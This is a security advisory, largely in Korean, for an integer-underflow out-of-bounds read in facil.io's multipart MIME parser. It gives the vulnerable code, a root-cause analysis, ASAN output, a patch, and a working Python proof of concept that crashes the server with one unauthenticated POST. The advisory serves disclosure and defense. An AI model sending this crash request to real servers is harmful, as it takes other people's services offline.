
Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash
할당된 CVE ID CVE-2026-66729
제품: facil.io
영향을 받는 버전: facil.io >= 0.6.0 (모든 0.6.x, 모든 0.7.x, master); MIME 파서가 0.6.0에서 추가된 시점부터 영향
구성 요소: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191 (정수 언더플로), CWE-125 (범위를 벗어난 읽기)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
연구자: Theodosis Paidakis
multipart MIME 본문 파서의 uint32_t 언더플로는 Content-Disposition 헤더에 빈 필드 이름(name=;)이 포함된 경우 범위를 벗어난 읽기를 유발합니다. name_len이 0이면 name[name_len - 1]은 name[0xFFFFFFFF]로 감싸져 name 포인터에서 약 4GB 뒤를 읽습니다. 이로 인해 결함이 발생하고 서버 프로세스가 크래시됩니다. 인증되지 않은 POST 요청 하나면 충분합니다.
lib/facil/http/parsers/http_mime_parser.h, 235-241행
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
name_len = (size_t)(start - name); // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"') // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
--name_len;
name_len은 uint32_t로 선언됩니다. 입력값이 name=;인 경우 memchr는 name과 같은 위치에서 ;를 찾으므로 start - name = 0이 됩니다. 0인 uint32_t에서 1을 빼면 0xFFFFFFFF로 감싸집니다. name[0xFFFFFFFF] 표현식은 name_ptr + 4294967295를 계산하며, 이는 매핑된 영역에서 훨씬 벗어납니다.
다른 분기의 236행(name[name_len - 1] == '\r') 검사도 동일한 패턴이지만, 거기서 name_len은 end - name으로 계산되며 실제로 0이 되지 않습니다.
서버를 시작한 후 다음을 실행합니다:
# poc_mime_oob_read.py
import socket
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=;\r\n" # empty name before semicolon
"\r\n"
"value\r\n"
"--B--\r\n"
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096)) # no response — server crashed
print('Check the server')
ASAN 출력(확인됨):
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF
단일 요청으로 워커 프로세스가 크래시됩니다. 멀티 워커 배포에서는 처리 중인 워커만 죽고 마스터가 이를 다시 생성합니다. 단일 워커 모드에서는 서버가 오프라인 상태가 됩니다. 데이터가 반환되기 전에 읽기 결함이 발생하므로 정보 유출은 입증되지 않았습니다.
lib/facil/http/parsers/http_mime_parser.h, 241행
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
--name_len;